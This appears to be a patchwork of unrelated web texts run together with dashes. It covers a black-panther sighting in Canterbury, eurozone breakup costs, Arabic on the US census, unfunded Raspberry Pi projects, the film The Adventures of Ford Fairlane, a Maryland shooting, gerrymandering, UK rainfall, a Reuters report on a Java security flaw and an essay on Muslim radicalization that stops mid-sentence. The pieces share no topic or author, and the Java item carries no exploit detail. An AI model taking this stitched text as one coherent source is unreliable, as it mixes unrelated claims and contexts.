"I've told a few people about it and they kind of think I'm nuts and it was probably something else, but I know what I saw," Montgomery said. It was bigger than a labrador dog and smaller than a cow, but was not a feral cat, she said. "I know my animals and I know what they look like, and it wasn't that far away." There have been rumours in the past that it is a black panther that escaped from a private zoo, or possibly from a boat, but no physical trace has been found. In 2005, Timaru man Mark Brosnahan reported seeing a large black feline in the Mid Canterbury high country. He got two pictures of it from a distance. If it was the same big black cat first seen in 2001, it was getting on in years now. Black panthers have an average life expectancy of 12 to 17 years. * Comments have been closed. -The warnings on Europe sound extra-apocalyptic this week. “The eurozone really only has days to avoid collapse,” blares the headline on Wolfgang Münchau’s column. And, while European leaders are frantically thrashing out plans for further fiscal union to save the euro, German Chancellor Angela Merkel is still resisting sweeping reform measures. As my colleagues Michael Birnbaum and Anthony Faiola report, “investors and world leaders alike hang on Merkel’s every word, searching for a hint that her resistance is simply a bluff to scare countries into behaving more like hers.” Not so easy, going it alone. (Michael Sohn/AP) These sorts of scenarios are no longer unthinkable. But a recent report suggests that either move would be far more painful than most people seem to realize. Indeed, a crack-up could prove far more costly to Germany than a bailout of its neighbors. In September, economists at UBS Investment Research tried to tally up the costs of seceding from the euro. If a “weak” country like Greece tried to leave the euro, it would almost certainly have to default on its national debt, watch its domestic banking system collapse — every halfway-sentient depositor would rush to withdraw euros before they got converted to new, less-valuable drachmas — and the country would get rocked by big trade disruptions and unrest. UBS estimates that a “weak” country like Greece or Ireland leaving the euro would take a hit of up to 50 percent of its GDP in the first year alone, and then a 15 percent hit per year for the next few years. That’s a crushing blow. Now, what would happen if a financially sound country like Germany decided to leave the euro, in order to maintain its own currency? Even that would hurt. A lot. Germany wouldn’t default on its national debt — in fact, its new currency would likely be worth more than the old euro — but its banks would suddenly have assets in the old, devalued currency. Balance sheets would be thrown out of whack, and Germany would have to pour an enormous amount of money into bailing out its banks. What’s more, the country’s exports would likely collapse. All told, UBS estimates, the cost of secession to a country like Germany would likely reach 20 percent to 25 percent of GDP, and remain at about half that for a few years thereafter. One thing UBS notes is that it would be much, much cheaper for Germany to simply bail out Greece, Ireland, and Portugal outright (that would cost about 1,000 euros for every German man, woman and child in one swoop) than it would be for Germany to exit the euro zone (which would cost the average German 8,000 euros the first year and 4,500 euros thereafter). Bailouts are deeply unpopular in Germany, and for good reason, but they look like the cheaper path. Even Bernard Connolly’s estimate that it would cost Germany 7 percent of its GDP for several years to bail out all troubled euro zone countries, up to and including France, looks like a less-painful option at this point. Indeed, that’s why the UBS report suggests that it would be insane for Germany to let the euro fracture, and argues that there’s “an overwhelming probability” that the euro zone moves toward some sort of fiscal integration — which partly means German taxpayers bailing out the Mediterranean neighbors it deems irresponsible. Of course, even if that’s the more rational approach, that doesn’t mean that will be the end result. -Arabic is the fastest-growing language in American households — and that’s leading the US Census Bureau to explore the tricky task of adjusting its questionnaires to ­accommodate the language’s right-to-left script. The bureau is using focus groups to explore possible changes to the 2020 census questionnaires for Arabic speakers who are not English-proficient, the Pew Research Center reported Friday. Arabic is now the seventh-most commonly spoken non-English language in US households. An estimated 1.1 million people ages 5 and older speak Arabic at home, an increase of 29 percent between 2010 and 2014. The number who speak Spanish at home has grown only 6 percent during the same period. Of those who speak Arabic at home, 38 percent are not proficient in English, according to census estimates. That’s just below the 42 percent English proficiency rate among the 39.3 million US residents who speak Spanish at home. The growth in Arabic is linked to continued immigration from Middle Eastern and North African countries, according to the Pew Research Center. Possible changes to the census questionnaire include replacing the blocks for individual printed letters with a single open-field rectangle, so that answers can be written in connected Arabic script, the center said. One major challenge facing census officials is whether to require a response in English and when to allow an Arabic response. A focus-group study recommended that the address fields require people to use English, because an American address might not be accurately translated into Arabic, according to the Pew Research Center. Arabic names present another complication — as they can be transliterated into English in different ways because the letters of the Arabic ­alphabet don’t necessarily have direct English equivalents. For example, the Arabic name Hussein can be transliterated into English at least five additional ways: Hussain, Husein, Husain, Houssain and Houssein. -Img Project Descripton Backers Pledge / Goal / % +1 Button CoMo Booster Board for Rpi Module with: wifi, oled screen, digital audio, RTC, 6-36v power input. 55 $6,834 / $40,000 / %17 ZIR EL-200 "ZIR EL-200 is connected to your computer, smartphone or tablet using Wi-Fi wireless network, and from there we set or directly assign instructions using the browser. However, one of its most interesting features is the ability to also be controlled by voice, using for that purpose applications on iOS and Android." 60 $5,012 / $90,000 / %5.6 1080Pi 10" 1080p Screen that mounts to the Rpi GPIO with 16 extra GPIO, 4 with 3A sinking current. 189 £20,451 / £100,000 / 20% RFberryPi A 433Mhz Radio Shield used to communication with several peripherals such as relays & sensors. 14 £321 / £4,850 / 6.6% SerialPi5 Board giving the Rpi the ability to have 5 RS-232 serial ports. 5 £261 / £11,000 / 2% Jilia Iot Dev Kit "Add ZigBee, Z-Wave, Bluetooth, and Wi-Fi to your Raspberry Pi with on-board sensors and an easy cloud API." 119 $6,256 / $50,000 / 12.5% RF Breakout Kit Breakout kit to build your own radio using the Rpi's built in clock generator. Frequencies up to 250Mhz 126 £1,330 / £1,800 / 72% Bridge Shield Bridge an Arduino with: RTC, Motor drivers, Temp Sensor, IR Sensor, USB-UART converter, 5V 3A Reg, header for ESP8266, header for HC-05, level shifting between Rpi and Arduino, 8 Servo Motor Driver (I2C) 45 $2,696 / $4,100 / 65.8% Pi UpTime "GPIO connections, analog ports, UPS, RTC & battery power enabling Raspberry Pi to be mobile." 17 hours of uptime on full battery, 2 analog input, RTC, and 25 $4,020 / $15,000 / 26.8% Hatlogico "Open-source 16 PWMs, 8 ADCs and dual-voltage communications to sit on your Raspberry Pi to drive your quadcopter, robot, 3D printer etc" 42 £1,352 / £4,800 / 48.3% BattPi "BattPi is a Case for Raspberry Pi with integrated Battery and Real Time Clock. Built in UPS offering up to 8 hours of battery life." 34 £1,973 / £20,000 / 9.9% ProtoPLC Industrial add-on board. 6 inputs, 6 outputs, 1 analog input, 1 analog output, programmable leds. 28 $3,653 / $20,000 / 18.3% Raspitab Hackable tablet built from the Rpi Module with 3400mah battery, 7" screen, wifi usb, 5MP camera module. 87 £9,981 / £125,000 / 8% Pi-Home Add-on board with the ability to control: Zwave, Infra-red devices (TV/DVD..), RF Device (315/433 Mhz Plugs), and Zigbee devices. 80 $10,001 / $15,000 / 66.7% TX-1 GSM Cellular phone w/GPS add-on module. 5 $641 / $14,000 / 4.6% HDMI Input Module "Add an HDMI input interface to your Raspberry Pi and record or stream high quality video from your HD camcorder with clean HDMI output." 63 $6,907 / $15,000 / 34.5% easyPio GPIO breakout module for prototyping. 45 £329 / £1,200 / 27% RasPoE Raspberry Pi PoE Shield. 28 €3,310 / €12,500 / 26.5% If you're looking to crowdfund your Raspberry Pi project maybe you can learn what didn't go right for these projects. Here is a list of hardware projects that didn't get funded. This list was pulled from the two top crowdfunding sites Indiegogo and Kickstarter . This isn't all of the projects that I had found but some of the more interesting ones.*Note items in the list may have been re-listed later and funded. Some projects may have been ahead of their time as the Pi wasn't popular enough. -This article is about the motion picture of a fictional story of a character whose name is a homonym of a famous American automobile. For the article on the automobile, see Ford Fairlane (Americas) The Adventures of Ford Fairlane is a 1990 American action comedy mystery film directed by Renny Harlin and written by David Arnott, James Cappe, and Daniel Waters based on a story by Arnott and Cappe. The film stars comedian Andrew Dice Clay as the title character, Ford Fairlane, a "Rock n' Roll Detective", whose beat is the music industry in Los Angeles. True to his name, Ford drives a 1957 Ford Fairlane 500 Skyliner in the film. The film's main character was created by writer Rex Weiner in a series of stories that were published as weekly serials in 1979–80 by the New York Rocker and the LA Weekly. The stories were published as a book by Rare Bird Books in July 2018.[3] The film was both a commercial and critical failure, grossing a little more than half its budget and being awarded the Golden Raspberry Award for Worst Picture, tying with Bo Derek's Ghosts Can't Do It. However, it has since developed a cult following. Plot [ edit ] Ford Fairlane (Andrew Dice Clay) is seen sitting on a beach smoking as the film opens. A flashback initiates, showing a roaring crowd at a concert given by fictional popular heavy metal band The Black Plague. Lead singer Bobby Black (Vince Neil) makes an eccentric entrance down a zip-line onto the stage and begins performing. Shortly into one of the band's songs, Bobby Black collapses on stage and dies. After the lead singer of The Black Plague is murdered onstage, shock-jock Johnny Crunch (Gilbert Gottfried), an old friend who came west with Fairlane, hires Ford to track down a mysterious teenage groupie named Zuzu Petals, who may have a connection to Black's death. Soon after hiring Fairlane, Crunch is electrocuted on the air. The world's hippest detective soon finds himself trading insults with ruthless record executive Julian Grendel (Wayne Newton), a clueless cop and former disco star, Lt. Amos (Ed O'Neill), a merciless hit man named Smiley (Robert Englund) and countless ex-girlfriends out for his blood. Aiding and abetting Fairlane is loyal assistant Jazz (Lauren Holly) and a hip record producer (Morris Day) at the head of a bizarre lineup of suspects, victims, beautiful women and a koala as he finds himself hip-deep in the case of his life. The Macguffin of the film is three data CDs which, when read simultaneously, detail the illegal dealings of Julian Grendel, who was getting rich from bootlegging his record company's music and murdered Bobby Black when he found out Black had acquired the CDs with the incriminating evidence. Both of Fairlane's beloved possessions, his house and his car, are blown to bits, courtesy of Grendel. The first disc was with Colleen Sutton, the second with Zuzu Petals, and the third disc was hidden under the star for Art Mooney on the Hollywood Walk of Fame. It is later revealed that Grendel killed Bobby Black and Johnny Crunch, as he considered them both greedy and stupid because they wanted more money for their involvement in pirating CD's to sell to the highest bidder, making the music industry corrupt. However, Fairlane kills Grendel by setting him on fire with a flammable milk shake. Jazz leaves Fairlane, knowing how ungrateful he is for everything that has happened. Smiley shows up and plans to kill Ford, but not before revealing that he killed his young neighbor's [the Kid's] father. Ford distracts him and kills Smiley with a sleeve pistol. Jazz and Ford decide to reconcile, while the Kid decides to join their detective agency. Ford wins a million dollar lottery and buys a yacht, ending the film. Cast [ edit ] Soundtrack [ edit ] Music being central to the plot of a film about a private detective who specializes in cases arising from the music industry, the soundtrack featured a diverse group of artists. The official soundtrack release featured: The film's soundtrack includes Idol's "Cradle of Love", the video for which was shown often on MTV in 1990. The song also appeared on Idol's 1990 album Charmed Life. In the video, a young woman, played by Betsy Lynn George, taunts an uptight neighbor with her advances as she dances to the music. The video also featured footage from the film playing on a television in the neighbor's home, although none of the footage features Clay (at least not his face). This may be due to the infamous ban of Clay from appearing on the music network. Alternate versions of the "Cradle of Love" video eliminates the film footage when the video is usually aired on MTV. Richie Sambora's contribution to the soundtrack was a cover of the Jimi Hendrix song. Yello's "Unbelievable" samples bits of dialogue from the film, with one notable dialog switch - where in the film, a phone number is said as "1-800-Unbelivable" and in the song, the phone number is said as "1-800-Perfect". A number of the musicians featured on the soundtrack also appeared in the film itself, including Morris Day, Sheila E., Tone Loc (as Slam the Rapper), former Ozzy Osbourne bassist Phil Soussan, and drummer Randy Castillo appear playing the Black Plague concert during the flashback at the beginning of the film and Vince Neil, the lead singer of Mötley Crüe (who appeared as Bobby Black, the lead singer of the fictitious band, Black Plague). Black Plague's lead guitarist was played by Quiet Riot's axeman Carlos Cavazzo. Not appearing on the soundtrack is "Booty Time", the song that Ed O'Neill's character performs during the film. Yello is also credited with the film's "music score", and an early cut of their album Baby is used as the film's incidental soundtrack. The film's score was composed and conducted by Cliff Eidelman. Release [ edit ] Billy Idol's recording of "Cradle of Love" was named one of the "Most Performed Songs from Motion Pictures" by the ASCAP.[4] Critical response [ edit ] The film received generally negative reviews upon release. Review aggregator website Rotten Tomatoes gives the film a 29% rating based on 28 reviews.[5] On Metacritic, the film has a 24 out of 100 rating based on 13 critics, indicating "generally unfavorable reviews".[6] Critic Roger Ebert gave the film 1 star out of a possible 4, and called the film "loud, ugly and mean-spirited" but he also suggested that Clay had the confidence and screen presence for a successful acting career if he could move beyond his shtick.[7] Box office [ edit ] The film was not a financial success during its original theatrical release, making just over $21 million in the U.S.[2] Clay has claimed in interviews that the film had a successful first week before being pulled from theaters under pressure from the politically correct.[8] In fact, the film played on more screens during its second week than its first, but still suffered a 53.5% drop in box office gross.[9] Accolades [ edit ] The film "won" numerous Razzies at the 1990 Golden Raspberry Awards including Worst Actor (Andrew Dice Clay), Worst Picture (Joel Silver & Steve Perry — tied with Ghosts Can't Do It), and Worst Screenplay (Daniel Waters, James Cappe and David Arnott). It was also nominated for Worst Director and twice for Worst Supporting Actor (for both Gilbert Gottfried and Wayne Newton).[10] International reception [ edit ] Despite negative reviews in the US, the film enjoyed tremendous success in post-communist Hungary, where copies of a pirated, dubbed version were widely circulated in the burgeoning VHS market. The film's popularity in Hungary has been attributed to a high-quality dub starring iconic eccentric musician and actor Feró Nagy, which contains gratuitous use of profanity not found in the original English version of the film. Several lines of dialogue from the film became ingrained in the slang of Hungarian urban youth culture throughout the 90s. In Norway, after its 1992 VHS release, Ford Fairlane soon became a phenomenon. The catchphrases became hugely popular and the movie received cult status during the 90s. After huge demand from Norwegian audiences, the film was released on DVD in the early 2000s. It also became quite popular in Spain, especially due to the dub by the popular singer, actor and comedian Pablo Carbonell. See also [ edit ] -Suspect Antwan James, 27, was last seen wearing a white t-shirt, blue jeans and black boots. He is believed to be armed with a gun and is considered dangerous. (Photo11: Prince George's County Police Dept.) Story Highlights Police: Stepson of a D.C. police officer shot the officer during a dispute over yard work Prince George's County police are searching for 27-year-old Antwan James James is considered armed and dangerous UPPER MARLBORO, Md. (AP) — Police say the stepson of a D.C. police officer shot and killed the officer during a dispute over yard work at their Maryland home. Prince George's County police said Tuesday that they are searching for 27-year-old Antwan James. He's been charged in a warrant with murder in the fatal shooting of his stepfather, 46-year-old Joseph Newell. Police were called to Newell's Upper Marlboro home Monday night and found him shot to death. The officer was off duty at the time of the shooting. Police say Newell and James had been arguing over yard work before the shooting. Newell had been with the Metropolitan Police Department since 1989. Police are searching for James with K-9 units and other specialized officers. He is considered armed and dangerous. Copyright 2013 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Read or Share this story: http://usat.ly/ZLEjAh -DO the Republicans owe their current congressional majority to gerrymandering? At first glance, it seems self-evident that they do. In the 2012 election, the Democrats won the popular votes for the presidency, the Senate and the House of Representatives. But somehow in the House — for whose seats Republicans controlled the redistricting process in many crucial states — the Republicans managed to end up with a 16-seat majority despite losing the popular vote. The presumption among many reformers is that the Democrats would control Congress today if the 2012 election had been contested in districts drawn by nonpartisan commissioners rather than politicians. But is this true? Another possibility is that Democrats receive more votes than seats because so many of their voters reside in dense cities that Democratic candidates win with overwhelming majorities, while Republican voters are more evenly distributed across exurbs and the rural periphery. Perhaps even a nonpartisan redistricting process would still have delivered the House to the Republicans. To examine this hypothesis, we adapted a computer algorithm that we recently introduced in the Quarterly Journal of Political Science. It allows us to draw thousands of alternative, nonpartisan redistricting plans and assess the partisan advantage built into each plan. First we created a large number of districting plans (as many as 1,000) for each of 49 states. Then we predicted the probability that a Democrat or Republican would win each simulated district based on the results of the 2008 presidential election and tallied the expected Republican seats associated with each simulated plan. -Image copyright Reg Haslett Image caption Not a great day to be under canvas in Glenarm, County Antrim Northern Ireland was the wettest region of the UK in July with 128mm of rain, according to Met Office figures. That is 57% above average for the summer month, making it also the wettest July on record since 2010. The UK as a whole saw 107mm of rain, or 37% more than normal, with all areas receiving more rain than average. According to the Republic of Ireland's weather service, Met Éireann, most areas across Ireland were also wetter than normal. Image copyright Mervyn Robb Image caption When the clouds parted there was some beautiful weather in Portrush, County Antrim Shannon Airport had its wettest July since 1946 when more than double the average rain fell at the County Clare site. However, it was also the sunniest July in Northern Ireland since 2013 with 170.5 hours of sunshine, or 21% more than normal. Image copyright James Carlisle Image caption Another "soft day" for these hill-dwellers This reflects the fact that we enjoyed some warm and sunny weather during the first 18 days of the month. Image copyright Mervyn Robb Image caption July in Cushendun - not a complete washout The figure for the UK as a whole was 171 hours - which is normal for the time of year. Temperature-wise, July was fairly unremarkable with an average temperature of 14.4 celsius, just 0.2 celsius below normal. -A cop killed a dog and something else happened. Baltimore police officer Alec Taylor was off duty when, via the Baltimore Sun: Taylor's girlfriend told police she received a text from Taylor on February 26 telling her that he killed... [her] seven-month-old dog, named Rocko, after it defecated on the carpet. He then sent her a picture, according to a news release. She told police Taylor said he was tired of cleaning up the dog's mess and that he had beaten it with a mop before throwing its body in a parking lot dumpster. Police said he later told investigators he used a mop to force Rocko from behind the dryer and then used his hands to choke the dog. Who the fuck is in charge of hiring at the Baltimore police department? The arrest was made by the Montgomery County police department, who charged Taylor with animal cruelty and abuse. The Baltimore police department insisted in a statement that it took animal cruelty seriously, although Taylor was merely suspended without pay and not fired right away for being the kind of sociopath who kills a girlfriend’s pet and then sends her a picture (because his job is like a right!). h/t CPA As a sad sign of the times, the Sun’s sidebar included this related story from just a month ago, where a cop in nearby Arundel shot a dog while canvassing a neighborhood and was put on “administrative duty” while the department promised a “thorough” investigation. Our own related stories, below. -Derby County will renew acquaintances with Benfica this summer after final details to take part in the Algarve Football Cup this summer were completed. Nigel Pearson’s side will head to Portugal for a week-long training camp – between Wednesday 13 July and Wednesday 20 July – as part of their 2016/17 preparations and during their stay in the southern part of the country the club will compete in two games. As part of the Rams' week-long training camp, they will face Benfica and fellow Primeira Liga outfit Vitoria Setubal in the Algarve Football Cup. The first fixture will see Derby take on Vitoria Setubal on Friday 15 July, kick-off: 8:30pm. The following day will see Pearson’s side take on Benfica, who reached the Quarter-Finals of the 2015/16 UEFA Champions League competition and lifted the Primeira Liga title, on Saturday 16 July, kick-off also 8:30pm. Both of Derby’s fixtures will be played at the state-of-the-art Estádio Algarve – a purpose built-stadium for the 2004 European Championship Finals. Boasting a capacity of around 30,000, the Estádio Algarve hosted three Euro 2004 fixtures and has since been occupied by the Portugal and Gibraltar national teams. About Vitoria Setubal: Managed by Quim Machado, Vitoria Setubal finished 15th in this season’s Primeira Liga – finishing just a point above the relegation zone. In the history of the club, they have lifted the league title on one occasion as well as the Portuguese Cup three times. Founded in 1910, Vitoria Setubal play their games at the Estádio do Bonfim, which has a capacity of 18,694. About Benfica: Champions of Portugal for a third consecutive year, Benfica are classed as one of the biggest club’s in the European game. During the 2015/16 season, they reached the Quarter-Finals of the Champions League, where they were beaten by Bayern Munich over two-legs. Benfica, however, have the second most participations in the European Cup/ UEFA Champions League – second only to Real Madrid. Historically, Derby defeated the Águias (Eagles) over two legs in the 1972 European Cup – winning the first leg at the Baseball Ground 3-0 courtesy of goals from John McGovern, Kevin Hector and Roy McFarland. JTA are offering an exclusive package for this summer's tour to Portugal. For more information, email JTA at: [email protected] to register for details which they will then contact once the details are confirmed. Derby County 2016/17 pre-season so far… Wednesday 13 July – Portugal training camp Friday 15 July – Vitoria Setubal (Estádio Algarve) 8:30pm KO Saturday 16 July – Benfica (Estádio Algarve) 8:30pm KO Saturday 23 July – Walsall (Banks’s Stadium) 3pm KO Tuesday 26 July – Chesterfield (Proact Stadium) 7:30pm KO Wednesday 27 July – Sheffield United (Bramall Lane) 7:45pm KO Tweets by @ dcfcofficial -* Dept of Homeland Security: Java vulnerable to hackers * Could be used to steal identity, form malicious networks * Applies to browsers on all major operating systems By Jim Finkle Jan 11 (Reuters) - The U.S. Department of Homeland Security urged computer users to disable Oracle Corp’s Java software, amplifying security experts’ prior warnings to the hundreds of millions of consumers and businesses that use it to surf the Web. Hackers have figured out a way to exploit Java to install malicious software enabling them to commit crimes ranging from identity theft to making an infected computer part of an ad-hoc network of computers that can be used to attack websites. “We are currently unaware of a practical solution to this problem,” the Department of Homeland Security’s Computer Emergency Readiness Team said in a posting on its website late on Thursday. “This and previous Java vulnerabilities have been widely targeted by attackers, and new Java vulnerabilities are likely to be discovered,” the agency said. “To defend against this and future Java vulnerabilities, disable Java in Web browsers.” Java is a computer language that enables programmers to write software utilizing just one set of code that will run on virtually any type of computer, including ones that use Microsoft Corp’s Windows, Apple Inc’s OS X and Linux, an operating system widely employed by corporations. Computer users access Java programs through modules, or plug-ins, that run Java software on top of browsers such as Internet Explorer and Firefox. The U.S. government’s warning on Java came after security experts earlier on Thursday warned of the newly discovered flaw. It is relatively rare for government agencies to advise computer users to completely disable software due to a security bug, particularly in the case of widely used programs such as Java. They typically recommend taking steps to mitigate the risk of attack while manufacturers prepare an update, or hold off on publicizing the problem until an update is prepared. In September, the German government advised the public to temporarily stop using Microsoft’s Internet Explorer browser to give it time to patch a security vulnerability that opened it to attacks. The Department of Homeland Security said that attackers could trick targets into visiting malicious websites that would infect their PCs with software capable of exploiting the bug in Java. It said that an attacker could also infect a legitimate website by uploading malicious software that would infect machines of computer users who trust that site because they have previously visited it without experiencing any problems. They said developers of several popular tools known as exploit kits, which criminal hackers use to attack PCs, have added software that allows hackers to exploit the newly discovered bug in Java to attack computers. Security experts have been scrutinizing the safety of Java since a similar security scare in August, which prompted some of them to advise using the software only on an as-needed basis. At the time they advised businesses to only allow their workers to use Java browser plug-ins when prompted for permission by trusted programs such as GoToMeeting, a Web-based collaboration tool from Citrix Systems Inc. Adam Gowdiak, a researcher with Polish security firm Security Explorations, subsequently said that he had found other security bugs in Java that continued to make computers vulnerable to attack. Java suffered another setback in October when Apple began removing old versions of the software from Internet browsers of Mac computers when its customers installed new versions of its OS X operating system. Apple did not provide a reason for the change and both companies declined comment at the time. -Japan might have only minutes to prepare for nuclear attacks, said officials in the island nation as they face down threats from demented North Korean dictator Kim Jong Un. Tokyo is asking for all its regional governments to sharpen alert plans should Pyongyang’s tubby tyrant press the button and send nukes flying over the Sea of Japan. Officials in Tokyo — Japan’s largest city with 13.5 million citizens — said their residents might have as little as 10 minutes to act. And even more concerning, Osaka Mayor Hirofumi Yoshimura said the 2.6 million residents of Japan’s third-largest city might have as little as four minutes to run for their lives and take shelter. “A missile may not be detected as soon as it leaves the launch pad … and that could take several minutes,” Yoshimura told the Japan Times. “The warning and alarms might only sound four or five minutes before a missile arrives.” As North Korea continues to make nuclear threats, Japanese citizens are becoming increasingly fearful that they — and not Pyongyang’s sworn enemies in Seoul and Washington, DC — could be Kim’s first targets. Japan’s civil defense website received 5.7 million visitors in the first 23 days of this month — a massive hike from its usual monthly traffic of less than 400,000 hits, the Washington Post reported. The prime minister’s office issued new “actions to protect yourself” guidelines this week — which pretty much amount to taking cover inside well-constructed buildings. Under the site’s FAQs, Japanese officials said citizens will have only minutes to act. “When a missile is launched from North Korea, it will not take long to reach Japan,” it answered. “For example, the ballistic missile launched from (North Korea) on February 7 last year took 10 minutes to fly over Okinawa.” US Vice President Mike Pence last week reaffirmed the Trump administration’s alliance with Japan amid the recent provocations from the hermit kingdom. -The Lure of Radicalism Amongst Muslim Youth 10/18/2010 Why is it that a few militant clerics are so popular among some American Muslims? I was asked by an academic at a recent luncheon. After all, besides being so extreme in their message, don’t most of them lack the scholarly credentials of the many mainstream clerics who oppose their militancy? The questioner was a highly educated person, someone who had a deep understanding of Islamic theology. He also understood quite well the existence of significant variations in the interpretation and understanding of religious texts. He was one of those who had no problem looking past the right-wing Islamophobic rhetoric of Fox News and Robert Spencer et al., yet was still confused as to why second-generation American and British Muslims would find a message of extremism and militancy so appealing. He correctly pointed out that the clerics espousing militancy were not only in the minority, but were also not as well-trained in the classical sciences as were clerics belonging to the opposing camp. Why then, were their voices so influential? This academic at the luncheon was not the only one struggling with the question. A recent congressional hearing also tackled this same issue. And of course, this was not the first time that I, myself, had to confront this very question. It was especially driven home after someone with whom I had only briefly interacted Umar Farouk AbdulMutallab, the now infamous “underwear bomber” turned radical and tried to blow up innocent men, women and children. Like this? Get more of our great articles. Get more of our great articles. Umar’s transformation provides an excellent case-study that can and should be studied further to shed light on the question of radicalism, and this short essay makes a first, humble attempt at doing just that. I remember Umar as a shy introvert who attended an intensive retreat, the IlmSummit sponsored by Al-Maghrib Institute in Houston, TX, in the summer of 2008. I was among ten instructors at that retreat. Umar was in fact so quiet and shy that I almost felt obliged to engage him in small talk, asking him mundane questions about where he lived and what he was studying. And that was about the extent of my interaction with him. Never once did he raise his hand in class to ask a question, or seek any advice, or share any concerns, or confront me on any subject. It appears that the lack of communication or socializing was not limited to the two of us. Rather, it seems that other students at the retreat had the same experience; they didn’t remember anything significant about him except his nonchalant, quiet presence. In fact, my encounter with him had been so brief and dull, that when I saw his pictures being paraded on every website and news magazine cover in December of 2009, I didn’t even recognize him until someone alerted me via email that this was the same Umar who had been at the AlMaghrib retreat. Never in my wildest dreams could I have imagined that someone as shy and socially introverted as Umar would have attempted to blow up a plane by stuffing his underwear with explosives! So, what happened? From news accounts and our own documentation, we know that the AlMaghrib retreat was his last AlMaghrib course or seminar. We also know that he left England for a Middle Eastern country (where he remained for a few months), and eventually made his way to Yemen, where he interacted with an American-born cleric whose vision of Islam was completely at odds with our own. It was this cleric who apparently inspired him to open a new chapter in his life, and who brainwashed this 19-year old introvert into believing that murdering two hundred innocent people, including many women and children (some of them even fellow Muslims), would somehow bring him closer to his Lord and earn him reward on Judgment Day. Why did Umar AbdulMutallab, a college-educated young man with a bright future ahead of him, reject the authority and guidance of authentic orthodox Islam, and allow himself to be lured into performing such a destructive and naïve act in the process destroying his own life and possibly that of many others? After all, hadn’t he interacted with us (instructors and students of knowledge) and lived with us for two full weeks? Hadn’t he observed our level of scholarship, our academic grasp of the religion, and our emphatic opposition to irrational and counterproductive militancy? Umar might have been a social introvert, but he was clearly not unintelligent. What was it in the message of this Yemeni-American that had caused him to ignore the message and methodology of the many teachers that he interacted with at the AlMaghrib retreat? Some of what you are about to read might not be ground-breaking, but other points that I mention will raise a few eyebrows and perhaps even anger some. That is to be expected, and I do not expect everyone to agree with everything that I write. The point of this article (as is typically my main intention when writing such pieces) is to jump-start the discussion, and to allow for frank dialogue among all parties. Let’s get to the answer then. It is not rocket science, nor does it require expertise in human psychology. Rather, it is quite simple. There is an external factor, and an internal factor, and when these two factors are coupled together, the result is fertile breeding ground for extremist ideas. The external factor is an almost total absence of voices from within mainstream Islam (of all varieties: Sufis, Salafis, Deobandis, etc.) that speak to and address the concerns and issues that resonate with the Muslims most prone to extremism. When the only voices that address issues of concern are the voices of radical militant jihadis, it is only natural that young and impressionable minds will gravitate to these voices. From the perspective of these disaffected youth, since the mainstream clerics aren’t discussing relevant issues, or involved in the discourses that concern them, how then can they be turned to for guidance? The internal factor is a very warped understanding of Islamic texts and doctrines, and a romanticized view of Islamic history. It is only with such a skewed and idealistic vision that a Muslim can allow radical voices to bypass simple common sense and a pure Islamic heart, filtering all the way to his inner psyche. Let us discuss both of these issues in more detail: The External Factor The issues and concerns that are fogging the minds of many Muslims (and all those who turn to radicalism) center around the present state of the Ummah, and in particular the political and social struggles that many Muslims around the world are facing. These struggles are significantly complicated (directly or indirectly) by policies put into place by our own American government (and, to a lesser extent, other Western countries). Before 9/11, most of the grievances were solely linked to the Palestinian question, and it was for this reason that radicalization and militant tendencies during that time-frame amongst Western Muslims were almost non-existent (it is not a coincidence that all those who planned and aided in the 9/11 attacks were foreigners). Post 9/11, our government reacted in ways that has added infinitely more fuel to the fire of extremism (and hence, the rise in radicalism amongst our own Western youth). From the illegal invasion of Iraq to the foolish military endeavors in Afghanistan, from Abu Ghraib to Guantanamo, from Aafia Siddiqui to Ali al-Timimi, from the ‘War on Terror‘ to the ‘Patriot Act’, it became easier to convince an impressionable mind into accepting the West versus Islam paradigm (as if these two entities can be surgically and neatly delineated, separated and defined). And instead of such incidents abating with time, every few days a new headline in some newspaper conveys yet another story proving the false paradigm: an American drone missile strike kills a few dozen anonymous, faceless tribe-members in Pakistan, or ever-expanding Israeli settlements steal more land from Palestinians, or a new torture scandal involving Muslim prisoners is leaked, or another military scandal involving the killing of innocent Muslim civilians is exposed. These incidents are a direct or indirect result of either our own American military operations, or our tax-supported military aid, or our turning a blind eye to specific actions of our allies via the use of our veto power in the UN Security Council. As if such misguided foreign action was not sufficient to enrage a proud young Muslim man, he must also face the constant media onslaught that seeks to portray him and his faith as inherently evil and dangerous. He hears of his friends and families or other Muslims being routinely harassed, humiliated and intimidated at airports and border-crossings, and “randomly” selected for additional screening and questioning. Of course, he too has his own first-hand discriminatory experiences. His faith attacked on national airwaves, his religiosity treated with suspicion, his co-religionists around the world killed, and his activist brothers and sisters in Western lands jailed, it is no surprise that our young and impressionable Muslim teenager struggles to make sense of all of this. He wants someone to defend his faith and speak up on behalf of the oppressed. He wishes to hear fiery and angry rhetoric, charging the “free and democratic”nations with hypocrisy, double standards, and the flouting of human rights. It is obvious to him that his government is primarily concerned with acquisition of oil and the control of natural resources, even if that results in the loss of Muslim blood. He clearly sees our politicians pandering more to the interests of corporate sponsors and special-interest donors than to the interests of their own fellow citizens. So, naturally, as a lay-Muslim, he looks to the scholars of his religion, seeking to find solace in angry tirades and verbal lashings against our politicians, leaders, media pundits, and law enforcement agencies who are, in his view, the root cause of all of this anger and terror in the first place. Instead, all he hears at his local mosque, assuming he is fortunate enough to live in an area where the Imam speaks English, are khutbahs that have no political relevance whatsoever. Finding nothing of significance at a local level, he then looks to more influential scholars: famous national clerics and da`ees, staple invitees to any major Islamic conference. Alas, all he hears them do is to regularly criticize his side: the victims in his eyes. Those who stand up to defend the innocent and fight against the real terrorists “from his perspective” are described as “Muslim terrorists.” Instead of supporting the cause of the weak and oppressed, these clerics side with the oppressors, routinely dissociating themselves from their own, giving spectacle fatwas against violence even as they ignore state-sponsored terrorism and what he perceives as the “greater violence.” Over time, as acts of violence and terror increase in Muslims lands, and as local scholars only increase in their denunciation of “Muslim extremism,” this young man becomes even more disillusioned with these clerics. In his eyes, these Western scholars, no matter how popular among the masses, are nothing more than sell-outs: government-appeasing servile acquiescing cowards who are more concerned about their own safety and popularity than the safety and comfort of their persecuted brothers and sisters around the world. “Enough of criticizing us! Who speaks up to defend them?” he demands. “Where is the condemnation of our own Western nations, our own policies and our own governments, when they engage in acts of violence, drone bombings, mass-killings, torture, secret renditions and sham trials? Why is such activity not described as terroris, is it not also targeting the innocent? Or is ‘terrorism’ only when a Muslim commits such acts?” Alas, the token condemnation against foreign policy that does occasionally come from the mouths of these ‘mainstream’ clerics is too shallow for his liking, too weak to satiate his own anger, too lost in the convoluted language and footnotes of their larger message. He is always reminded of the words 